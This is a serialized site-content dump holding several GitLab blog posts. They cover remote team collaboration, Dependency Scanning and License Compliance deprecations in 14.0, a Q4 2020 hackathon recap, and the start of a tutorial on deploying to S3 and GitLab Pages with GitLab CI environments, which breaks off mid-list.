}",{"title":19739,"description":19740,"authors":19745,"heroImage":19741,"date":19746,"body":19747,"category":734,"tags":19748},[17272],"2021-02-09","\n\n_This post is the third in our ongoing series about remote work and engineering. Check out the previous posts, [Tips for engineering managers learning to lead remotely](/blog/tips-for-managing-engineering-teams-remotely/), and [Tips for remote pair programming](/blog/remote-pair-programming-tips/)._\n\nAlmost a year into the pandemic, it’s still unclear when it will be safe to head back into the office. While many companies have resolved the initial growing pains of transitioning from a colocated to an all-remote workplace, we want to help your teams go from surviving to thriving by sharing some strategies to [improve remote work collaboration](/company/culture/all-remote/collaboration-and-whiteboarding/).\n\n## Remote working and asynchronous communication\n\nTraditional methods of communication and project management might work in a colocated office setting, but don’t necessarily translate to a remote environment. In a video on GitLab Unfiltered (our company YouTube channel where team members share their work with the public), [Austin Regnery](/company/team/#aregnery), product designer on Manage: Compliance at GitLab, and [Nick Post](/company/team/#npost), senior product designer on Manage: Optimize at GitLab, talk about the growing pains of transitioning from working synchronously to asynchronously.\n\n\"Emails and meetings... [it's all] email, email, email, meeting, PowerPoint, that’s the modus operandi for how companies collaborated,\" says Nick. \"And it’s something that companies and teams have really held on to.\"\n\nAsynchronous communication challenges the traditional modes of workplace communication, but at GitLab, we’ve discovered that this more modern method of collaboration is more efficient and effective in delivering business value to our customers and helping our team members achieve a work-life balance.\n\nWatch the video below to learn how these designers work asynchronously.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/stLBy9TWJBw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Remote work collaboration: be sensitive to timezones\n\nWhen your team is working in the same office, the workday begins and ends at roughly the same time for everyone. At GitLab, we work asynchronously and our team is globally distributed, which means work is completed on a 24-hour clock instead of just eight hours. \n\nOne of the biggest challenges with working asynchronously is ensuring that all team members feel a sense of belonging across timezones. \n\n\"Timezones matter,\" says [Nuritzi Sanchez](/company/team/#nuritzi), senior open source program manager at GitLab. \"Make sure you're not leaving out team members in one locale. Have meetings at different times if needed (e.g., once a week in a NORAM-friendly time, next week in APAC-friendly time, etc).\" \n\nMaking the switch from synchronous to asynchronous work isn’t easy but really pays off. Learn more about [how we work asynchronously at GitLab](/company/culture/all-remote/asynchronous/#async-at-gitlab).\n\n### Remote work collaboration: maximize synchronous time \n\nThere are times when synchronous communication is the best option, such as during weekly team meetings and one-on-ones. Nuritzi explains that there are a few teams at GitLab that have adopted a particular structure to make the most out of every team meeting. \n\n*  Always have an agenda: Every meeting needs an agenda, usually in Google Docs, that allows team members to add discussion items and notes before and during the meeting. \n*  Notes are key: \"In OSS communities, meeting notes or IRC chats are something that are usually posted publicly later so everyone who needs to can catch up,\" says Nuritiz. \n*  Start with check-ins: Team members voluntarily share whether they're at a green/yellow/red level in their work life and personal life. Managers are always advised to participate in these check-ins to set a collaborative tone. \n* FYIs: Not everything on the agenda will merit discussion. Add FYIs for items that should be shared with the team but don't require extensive dialogue. \n*  Discussion topics: Some agenda items will need to be discussed with the team, add these in the discussion items section of the agenda.\n*  Meetings are optional: Not every team member will be able to attend every meeting, and that's OK. Team members that aren't present can still participate by adding discussion items, FYIs, and notes to the agenda that can be shared by their fellow team members. \n*  Try to make it fun: We start and end every [Inbound Marketing weekly recap meeting](https://youtube.com/playlist?list=PL05JrBw4t0KppgWkSa3YgDgc_qUTKsBCs) with music to liven up Thursdays for our globally distributed team. \n\n## How to make remote onboarding feel welcoming\n\nOnboarding is just one example of a workplace process that has been impacted by the pandemic. This makes having empathy for the new hire even more important than usual. Empathetic onboarding means framing the process from the perspective of the new hire, says [Alexandra Sunderland](https://ca.linkedin.com/in/alexandrasunderland), engineering manager at Fellow.\n\nAlexandra iterated on her onboarding process over a number of years and has since developed a six-step framework that she presented at our virtual user conference, GitLab Commit, last year. The six steps are: (1) Focus on relationships, (2) write knowledge down, (3) create an FAQ, (4) set goals and milestones, (5) set up their physical space, (6) ask for feedback.\n\nWatch the video below to learn how Fellow onboards engineers remotely. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/tdWxlpN8dUk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nBeyond making sure new team members are set up with a functional workspace, the secret to successful onboarding is assuming that the team member has the skills and knowledge necessary to do their job, but still needs to learn the context in which to do it, according to Alexandra. \n\nGitLab has a [unique onboarding process](/handbook/people-group/general-onboarding/), in that new hires are given a detailed checklist in an issue and are assigned an onboarding buddy. This onboarding process is a crash course in working as a [manager of one](https://handbook.gitlab.com/handbook/values/#managers-of-one) in an asynchronous workplace. \n\n## How to collaborate on releases remotely\n\nMattermost's [Aaron Rothschild](https://www.linkedin.com/in/arothschild), senior product manager, and [Paul Rothrock](https://www.linkedin.com/in/icelander), customer engineer, describe how their dashboard that provides visibility into the DevOps process can be used with tools such as Jira, Jenkins, and GitLab, to release software remotely. Watch the presentation from our user conference to see an example of how the team collaborates to deliver a release.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/QBG0-YaDXu0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## How to stay social when you’re working alone\n\nCommunication technologies, specifically Slack, can help to cultivate a sense of community and belonging within our teams. We publicly recognize team members that contributed to success in a #team-member-updates channel on Slack, where we announce bonuses and promotions for team members across the company. We also show appreciation for our collaborators in the #thanks channel.\n\n### The (virtual) water cooler\n\nThe pandemic has us all practicing social distancing, but at GitLab, we worked hard to try and replicate the social aspect of the office through a [few different informal communication programs](/company/culture/all-remote/informal-communication/), such as our coffee chats, and Slack channels devoted to different extracurriculars (I’m fond of the #dog and #baking channels, personally). The [Donut bot on Slack is a neat social feature](/company/culture/all-remote/informal-communication/#the-donut-bot). The bot will randomly introduce you to a team member that you may not otherwise have collaborated with in your daily work, and invites the two team members to [set up a coffee chat](/company/culture/all-remote/informal-communication/#coffee-chats). \n\n## Up-level your remote work skills\n\n[GitLab launched a free program on Coursera](https://www.coursera.org/learn/remote-team-management) to help managers with the transition of managing a team remotely. The course is free to join and is packed with valuable information to help companies adapt to working remotely.\n\nCover image by [Chris Montgomery](https://unsplash.com/@cwmonty?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/remote-work?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3798,2368],{"slug":19750,"featured":6,"template":678},"engineering-teams-collaborating-remotely","content:en-us:blog:engineering-teams-collaborating-remotely.yml","Engineering Teams Collaborating Remotely","en-us/blog/engineering-teams-collaborating-remotely.yml","en-us/blog/engineering-teams-collaborating-remotely",{"_path":19756,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19757,"content":19762,"config":19767,"_id":19769,"_type":16,"title":19770,"_source":17,"_file":19771,"_stem":19772,"_extension":20},"/en-us/blog/composition-analysis-14-deprecations-and-removals",{"title":19758,"description":19759,"ogTitle":19758,"ogDescription":19759,"noIndex":6,"ogImage":12013,"ogUrl":19760,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19760,"schema":19761},"Secure Composition Analysis 14.0 deprecations and removals","A review of the deprecations and removals in 14.0 for the Secure Composition Analysis group.","https://about.gitlab.com/blog/composition-analysis-14-deprecations-and-removals","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure Composition Analysis 14.0 deprecations and removals\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nicole Schwartz\"}],\n        \"datePublished\": \"2021-02-08\",\n      }",{"title":19758,"description":19759,"authors":19763,"heroImage":12013,"date":19764,"body":19765,"category":18484,"tags":19766},[14949],"2021-02-08","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nDuring the 14.0 release there will be both deprecations and removals by the [Composition Analysis group](https://about.gitlab.com/handbook/product/categories/#composition-analysis-group), a member of the [Secure stage](https://about.gitlab.com/direction/secure/), which is responsible for both the [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and [License Compliance](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html) features. Please check if you're impacted by these changes and take appropriate action.\n\n## Removals for License Compliance\n\nIn 13.0 we deprecated the License-Management CI template, and renamed it License-Scanning. We have been providing backwards compatibility by warning users of the old template to switch. In 14.0 we will remove the License-Management CI template. You can read more about this change in [issue #216261](https://gitlab.com/gitlab-org/gitlab/-/issues/216261).\n\n## Deprecations for Dependency Scanning\n\nIf you only use a subset of our [Dependency Scanning analyzers](/blog/try-dependency-scanning/), you will need to change to using `DS_EXCLUDED_ANALYZERS` in 14.0 when it becomes available and stop using `DS_DEFAULT_ANALYZERS`. `DS_EXCLUDED_ANALYZERS` specifically asks what analyzers you wish to skip, rather than the current CI/CD variable `DS_DEFAULT_ANALYZERS` which you must list every analyzer you want to run. `DS_DEFAULT_ANALYZERS` did not automatically receive new analyzers added to GitLab, and required users to take action each time an analyzer was made available. You can read more about this change in this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/287691).\n\n",[754,674],{"slug":19768,"featured":6,"template":678},"composition-analysis-14-deprecations-and-removals","content:en-us:blog:composition-analysis-14-deprecations-and-removals.yml","Composition Analysis 14 Deprecations And Removals","en-us/blog/composition-analysis-14-deprecations-and-removals.yml","en-us/blog/composition-analysis-14-deprecations-and-removals",{"_path":19774,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19775,"content":19781,"config":19785,"_id":19787,"_type":16,"title":19788,"_source":17,"_file":19789,"_stem":19790,"_extension":20},"/en-us/blog/q42020-hackathon-recap",{"title":19776,"description":19777,"ogTitle":19776,"ogDescription":19777,"noIndex":6,"ogImage":19778,"ogUrl":19779,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19779,"schema":19780},"What happened at the Q4'2020 GitLab Hackathon","Here's a recap of GitLab community accomplishments during the Hackathon on Jan 6-7th of 2021.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663430/Blog/Hero%20Images/2018-09-13-gitlab-hackathon-cover.jpg","https://about.gitlab.com/blog/q42020-hackathon-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What happened at the Q4'2020 GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christos Bacharakis\"}],\n        \"datePublished\": \"2021-02-08\",\n      }",{"title":19776,"description":19777,"authors":19782,"heroImage":19778,"date":19764,"body":19783,"category":813,"tags":19784},[17126],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nDisclaimer: Due to a [bug in our metrics platform](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/general/-/issues/59), that was identified a month after the release of this blogpost, we updated the post with accurate information about the number of MRs submitted, MRs merged, and the winners. In addition, we are not going to take into account the 15th of January as the date the MRs had to be merged to qualify, since we noticed a significant amount of delays in reviewing the MRs.\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nAnother GitLab hackathon is completed, and I would like to begin by celebrating our community contributions! Congratulations to everyone who participated and contributed to GitLab.\n\nThis time, participants managed to land 167 Merge Request, where 139 (83%) of them have already been merged across eight projects such as: GitLab, Omnibus, GitLab Development Kit, CNG, Runner and more.\n\n![Hackathon playlist](https://about.gitlab.com/images/blogimages/Hackathon_playlist.png){: .shadow.medium.center}\n\nDuring the Hackathon, a number of GitLab Team members ran a series of tutorial sessions around various GitLab Products, stages and groups like Runner, Release Stage, GitLab Pajamas, and Package Group. All of these sessions that are a resource for future contributions were recorded and can be found on our [YouTube Channel](https://www.youtube.com/playlist?list=PL05JrBw4t0KrqGydhkV_BUPrI-DBiDKfm).\n\nSomething unique about this Hackathon is that it happened two times. Originally it was scheduled to take place in December, around the time my onboarding was going to be completed; thus, we had to move it to the beginning of January. Our Tokyo community had already made arrangements for these dates, and with the lead of our Core Team member [Takuya Noguchi](https://gitlab.com/tnir), they successfully organized a [regional GitLab hackathon](https://gitlab-jp.connpass.com/event/189496/). \n\n\n## Hackathon prizes\n\nLike past events, everyone who had MRs merged will receive a token of our appreciation for their contribution. This time, [thirty seven people](https://gitlab.biterg.io/goto/2c0b5d1d60893bcec44dbfd11a16d947) had their MRs merged, where three of them had more than 10 MRs merged, which will receive the Second Prize.\n\nThe grand prize will go to both [Kev](https://gitlab.com/KevSlashNull) and [Jonston Chan](https://gitlab.com/JonstonChan) who had the highest number of merged MRs.\n\nBelow is a list of the top five contributors for this Hackathon, and all the MRs in the [Winder Community Hackathon MRs issue](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/44#related-merge-requests).\n\n- Grand Prize: [Kev](https://gitlab.com/KevSlashNull), with 31 MRs merged\n- Grand Prize: [Jonston Chan](https://gitlab.com/JonstonChan), with 30 MRs merged\n- Second Prize: [Yogi](https://gitlab.com/yo), with 16 MRs merged\n- Second Prize: [Takuya Noguchi](https://gitlab.com/tnir), with 12 MRs merged\n- Second Prize: [Marvin Karegyeya](https://gitlab.com/nuwe1), with 10 MRs merged\n\n\n![Hackathon playlist](https://about.gitlab.com/images/blogimages/q4-hackathon-details.png){: .shadow.medium.center}\n\n## When is the next Hackathon?\n\nThe next Hackathon will occur on March 31st - April 1st, 2021 (yes, it's true!), and all the necessary information will be posted on the [Hackathon page by March 1st](/community/hackathon/).\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at cbacharakis@gitlab.com.\n\n[\"GitLab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel) on Unsplash\n{: .note}\n",[267,2368,815],{"slug":19786,"featured":6,"template":678},"q42020-hackathon-recap","content:en-us:blog:q42020-hackathon-recap.yml","Q42020 Hackathon Recap","en-us/blog/q42020-hackathon-recap.yml","en-us/blog/q42020-hackathon-recap",{"_path":19792,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19793,"content":19799,"config":19805,"_id":19807,"_type":16,"title":19808,"_source":17,"_file":19809,"_stem":19810,"_extension":20},"/en-us/blog/ci-deployment-and-environments",{"title":19794,"description":19795,"ogTitle":19794,"ogDescription":19795,"noIndex":6,"ogImage":19796,"ogUrl":19797,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19797,"schema":19798},"How to use GitLab CI to deploy to multiple environments","We walk you through different scenarios to demonstrate the versatility and power of GitLab CI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662033/Blog/Hero%20Images/intro.jpg","https://about.gitlab.com/blog/ci-deployment-and-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab CI to deploy to multiple environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivan Nemytchenko\"},{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-02-05\",\n      }",{"title":19794,"description":19795,"authors":19800,"heroImage":19796,"date":19802,"body":19803,"category":734,"tags":19804,"updatedDate":5209},[19801,937],"Ivan Nemytchenko","2021-02-05","This post is a success story of one imaginary news portal, and you're the happy\nowner, the editor, and the only developer. Luckily, you already host your project\ncode on GitLab.com and know that you can\n[run tests with GitLab CI/CD](https://docs.gitlab.com/ee/ci/testing/).\nNow you’re curious if it can be [used for deployment](/blog/how-to-keep-up-with-ci-cd-best-practices/), and how far can you go with it.\n\nTo keep our story technology stack-agnostic, let's assume that the app is just a\nset of HTML files. No server-side code, no fancy JS assets compilation.\n\nDestination platform is also simplistic – we will use [Amazon S3](https://aws.amazon.com/s3/).\n\nThe goal of the article is not to give you a bunch of copy-pasteable snippets.\nThe goal is to show the principles and features of [GitLab CI](/solutions/continuous-integration/) so that you can easily apply them to your technology stack.\n{: .alert .alert-warning}\n\nLet’s start from the beginning. There's no continuous integration (CI) in our story yet.\n\n## At the starting line\n\n**Deployment**: In your case, it means that a bunch of HTML files should appear on your\nS3 bucket (which is already configured for\n[static website hosting](http://docs.aws.amazon.com/AmazonS3/latest/dev/HowDoIWebsiteConfiguration.html?shortFooter=true)).\n\nThere are a million ways to do it. We’ll use the\n[awscli](http://docs.aws.amazon.com/cli/latest/reference/s3/cp.html#examples) library,\nprovided by Amazon.\n\nThe full command looks like this:\n\n```shell\naws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n![Manual deployment](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/13.jpg){: .center}\nPushing code to repository and deploying are separate processes.\n{: .note .text-center}\n\nImportant detail: The command\n[expects you](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#config-settings-and-precedence)\nto provide `AWS_ACCESS_KEY_ID` and  `AWS_SECRET_ACCESS_KEY` environment\nvariables. Also you might need to specify `AWS_DEFAULT_REGION`.\n{: .alert .alert-info}\n\nLet’s try to automate it using [GitLab CI](/solutions/continuous-integration/).\n\n## The first automated deployment\n\nWith GitLab, there's no difference on what commands to run.\nYou can set up GitLab CI in a way that tailors to your specific needs, as if it was your local terminal on your computer. As long as you execute commands there, you can tell CI to do the same for you in GitLab.\nPut your script to `.gitlab-ci.yml` and push your code – that’s it: CI triggers\na _job_ and your commands are executed.\n\nNow, let's add some context to our story: Our website is small, there is 20-30 daily\nvisitors and the code repository has only one default branch: `main`.\n\nLet's start by specifying a _job_ with the command from above in the `.gitlab-ci.yml` file:\n\n```yaml\ndeploy:\n  script: aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\nNo luck:\n![Failed command](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/fail1.png){: .shadow}\n\nIt is our _job_ to ensure that there is an `aws` executable.\nTo install `awscli` we need `pip`, which is a tool for Python packages installation.\nLet's specify Docker image with preinstalled Python, which should contain `pip` as well:\n\n```yaml\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n![Automated deployment](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/14.jpg){: .center}\nYou push your code to GitLab, and it is automatically deployed by CI.\n  {: .note .text-center}\n\nThe installation of `awscli` extends the job execution time, but that is not a big\ndeal for now. If you need to speed up the process, you can always [look for\na Docker image](https://hub.docker.com/explore/) with preinstalled `awscli`,\nor create an image by yourself.\n{: .alert .alert-warning}\n\nAlso, let’s not forget about these environment variables, which you've just grabbed\nfrom [AWS Console](https://console.aws.amazon.com/):\n\n```yaml\nvariables:\n  AWS_ACCESS_KEY_ID: \"AKIAIOSFODNN7EXAMPLE\"\n  AWS_SECRET_ACCESS_KEY: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\nIt should work, but keeping secret keys open, even in a private repository,\nis not a good idea. Let's see how to deal with this situation.\n\n### Keeping secret things secret\n\nGitLab has a special place for secret variables: **Settings > CI/CD > Variables**\n\n![Picture of Variables page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/add-variable-updated.png)\n\nWhatever you put there will be turned into **environment variables**.\nChecking the \"Mask variable\" checkbox will obfuscate the variable in job logs. Also, checking the \"Protect variable\" checkbox will export the variable to only pipelines running on protected branches and tags. Users with Owner or Maintainer permissions to a project will have access to this section.\n\nWe could remove `variables` section from our CI configuration. However, let’s use it for another purpose.\n\n### How to specify and use variables that are not secret\n\nWhen your configuration gets bigger, it is convenient to keep some of the\nparameters as variables at the beginning of your configuration. Especially if you\nuse them in more than one place. Although it is not the case in our situation yet,\nlet's set the S3 bucket name as a [**variable**](https://docs.gitlab.com/ee/ci/variables/) for the purpose of this demonstration:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\nSo far so good:\n\n![Successful build](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/build.png){: .shadow.medium.center}\n\nIn our hypothetical scenario, the audience of your website has grown, so you've hired a developer to help you.\nNow you have a team. Let's see how teamwork changes the GitLab CI workflow.\n\n## How to use GitLab CI with a team\n\nNow, that there are two users working in the same repository, it is no longer convenient\nto use the `main` branch for development. You decide to use separate branches\nfor both new features and new articles and merge them into `main` when they are ready.\n\nThe problem is that your current CI config doesn’t care about branches at all.\nWhenever you push anything to GitLab, it will be deployed to S3.\n\nPreventing this problem is straightforward. Just add `only: main` to your `deploy` job.\n\n![Automated deployment of main branch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/15-updated.png){: .center}\nYou don't want to deploy every branch to the production website but it would also be nice to preview your changes from feature-branches somehow.\n{: .note .text-center}\n\n### How to set up a separate place for testing code\n\nThe person you recently hired, let's call him Patrick, reminds you that there is a featured called\n[GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/). It looks like a perfect candidate for\na place to preview your work in progress.\n\nTo [host websites on GitLab Pages](/blog/gitlab-pages-setup/) your CI configuration file should satisfy three simple rules:\n\n- The _job_ should be named `pages`\n- There should be an `artifacts` section with folder `public` in it\n- Everything you want to host should be in this `public` folder\n\nThe contents of the public folder will be hosted at `http://\u003Cusername>.gitlab.io/\u003Cprojectname>/`\n{: .alert .alert-info}\n\nAfter applying the [example config for plain-html websites](https://gitlab.com/pages/plain-html/blob/master/.gitlab-ci.yml),\nthe full CI configuration looks like this:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n  only:\n  - main\n\npages:\n  image: alpine:latest\n  script:\n  - mkdir -p ./public\n  - cp ./*.html ./public/\n  artifacts:\n    paths:\n    - public\n  except:\n  - main\n```\n\nWe specified two jobs. One job deploys the website for your customers to S3 (`deploy`).\nThe other one (`pages`) deploys the website to GitLab Pages.\nWe can name them \"Production environment\" and \"Staging environment\", respectively.\n\n![Deployment to two places](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/16-updated.png){: .center}\nAll branches, except main, will be deployed to GitLab Pages.\n{: .note .text-center}\n\n## Introducing environments\n\nGitLab offers\n [support for environments](https://docs.gitlab.com/ee/ci/environments/) (including dynamic environments and static environments),\n and all you need to do it to specify the corresponding environment for each deployment *job*:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy to production:\n  environment: production\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n  only:\n  - main\n\npages:\n  image: alpine:latest\n  environment: staging\n  script:\n  - mkdir -p ./public\n  - cp ./*.html ./public/\n  artifacts:\n    paths:\n    - public\n  except:\n  - main\n```\n\nGitLab keeps track of your deployments, so you always know what is currently being deployed on your servers:\n\n![List of environments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/envs-updated.png){: .shadow.center}\n\nGitLab provides full history of your deployments for each of your current environments:\n\n![List of deployments to staging environment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/staging-env-detail-updated.png){: .shadow.center}\n\n![Environments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/17-updated.png){: .center}\n\nNow, with everything automated and set up, we’re ready for the new challenges that are just around the corner.\n\n## How to troubleshoot deployments\n\nIt has just happened again.\nYou've pushed your feature-branch to preview it on staging and a minute later Patrick pushed\nhis branch, so the staging environment was rewritten with his work. Aargh!! It was the third time today!\n\nIdea! \u003Ci class=\"far fa-lightbulb\" style=\"color:#FFD900; font-size:.85em\" aria-hidden=\"true\">\u003C/i> Let's use Slack to notify us of deployments, so that people will not push their stuff if another one has been just deployed!\n\n> Learn how to [integrate GitLab with Slack](https://docs.gitlab.com/ee/user/project/integrations/gitlab_slack_application.html).\n\n## Teamwork at scale\n\nAs the time passed, your website became really popular, and your team has grown from two people to eight people.\nPeople develop in parallel, so the situation when people wait for each other to\npreview something on Staging has become pretty common. \"Deploy every branch to staging\" stopped working.\n\n![Queue of branches for review on Staging](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/queue.jpg){: .center}\n\nIt's time to modify the process one more time. You and your team agreed that if\nsomeone wants to see their changes on the staging\nserver, they should first merge the changes to the \"staging\" branch.\n\nThe change of `.gitlab-ci.yml` is minimal:\n\n```yaml\nexcept:\n- main\n```\n\nis now changed to\n\n```yaml\nonly:\n- staging\n```\n\n![Staging branch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/18-updated.png){: .center}\nPeople have to merge their feature branches before preview on the staging server.\n{: .note .text-center}\n\nOf course, it requires additional time and effort for merging, but everybody agreed that it is better than waiting.\n\n### How to handle emergencies\n\nYou can't control everything, so sometimes things go wrong. Someone merged branches incorrectly and\npushed the result straight to production exactly when your site was on top of HackerNews.\nThousands of people saw your completely broken layout instead of your shiny main page.\n\nLuckily, someone found the **Rollback** button, so the\nwebsite was fixed a minute after the problem was discovered.\n\n![List of environments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/prod-env-rollback-arrow-updated.png){: .shadow.center}\nRollback relaunches the previous job with the previous commit\n{: .note .text-center}\n\nAnyway, you felt that you needed to react to the problem and decided to turn off\nauto-deployment to Production and switch to manual deployment.\nTo do that, you needed to add `when: manual` to your _job_.\n\nAs you expected, there will be no automatic deployment to Production after that.\nTo deploy manually go to **CI/CD > Pipelines**, and click the button:\n\n![Skipped job is available for manual launch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/manual-pipeline-arrow-updated.png){: .shadow.center}\n\nFast forward in time. Finally, your company has turned into a corporation. Now, you have hundreds of people working on the website,\nso all the previous compromises no longer work.\n\n### Time to start using Review Apps\n\nThe next logical step is to boot up a temporary instance of the application per feature branch for review.\n\nIn our case, we set up another bucket on S3 for that. The only difference is that\nwe copy the contents of our website to a \"folder\" with the name of the\nthe development branch, so that the URL looks like this:\n\n`http://\u003CREVIEW_S3_BUCKET_NAME>.s3-website-us-east-1.amazonaws.com/\u003Cbranchname>/`\n\nHere's the replacement for the `pages` _job_ we used before:\n\n```yaml\nreview apps:\n  variables:\n    S3_BUCKET_NAME: \"reviewbucket\"\n  image: python:latest\n  environment: review\n  script:\n  - pip install awscli\n  - mkdir -p ./$CI_BUILD_REF_NAME\n  - cp ./*.html ./$CI_BUILD_REF_NAME/\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\nThe interesting thing is where we got this `$CI_BUILD_REF_NAME` variable from.\nGitLab predefines [many environment variables](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) so that you can use them in your jobs.\n\nNote that we defined the `S3_BUCKET_NAME` variable inside the *job*. You can do this to rewrite top-level definitions.\n{: .alert .alert-info}\n\nVisual representation of this configuration:\n![Review apps]![How to use GitLab CI - update - 19 - updated](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/19-updated.png){: .illustration}\n\nThe details of the Review Apps implementation varies widely, depending upon your real technology\nstack and on your deployment process, which is outside the scope of this blog post.\n\nIt will not be that straightforward, as it is with our static HTML website.\nFor example, you had to make these instances temporary, and booting up these instances\nwith all required software and services automatically on the fly is not a trivial task.\nHowever, it is doable, especially if you use Docker containers, or at least Chef or Ansible.\n\nWe'll cover deployment with Docker in a future blog post.\nI feel a bit guilty for simplifying the deployment process to a simple HTML files copying, and not\nadding some hardcore scenarios. If you need some right now, I recommend you read the article [\"Building an Elixir Release into a Docker image using GitLab CI.\"](/blog/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1/)\n\nFor now, let's talk about one final thing.\n\n### Deploying to different platforms\n\nIn real life, we are not limited to S3 and GitLab Pages. We host, and therefore,\ndeploy our apps and packages to various services.\n\nMoreover, at some point, you could decide to move to a new platform and will need to rewrite all your deployment scripts.\nYou can use a gem called `dpl` to minimize the damage.\n\nIn the examples above we used `awscli` as a tool to deliver code to an example\nservice (Amazon S3).\nHowever, no matter what tool and what destination system you use, the principle is the same:\nYou run a command with some parameters and somehow pass a secret key for authentication purposes.\n\nThe `dpl` deployment tool utilizes this principle and provides a\nunified interface for [this list of providers](https://github.com/travis-ci/dpl#supported-providers).\n\nHere's how a production deployment _job_ would look if we use `dpl`:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy to production:\n  environment: production\n  image: ruby:latest\n  script:\n  - gem install dpl\n  - dpl --provider=s3 --bucket=$S3_BUCKET_NAME\n  only:\n  - main\n```\n\nIf you deploy to different systems or change destination platform frequently, consider\nusing `dpl` to make your deployment scripts look uniform.\n\n## Five key takeaways\n\n1. Deployment is just a command (or a set of commands) 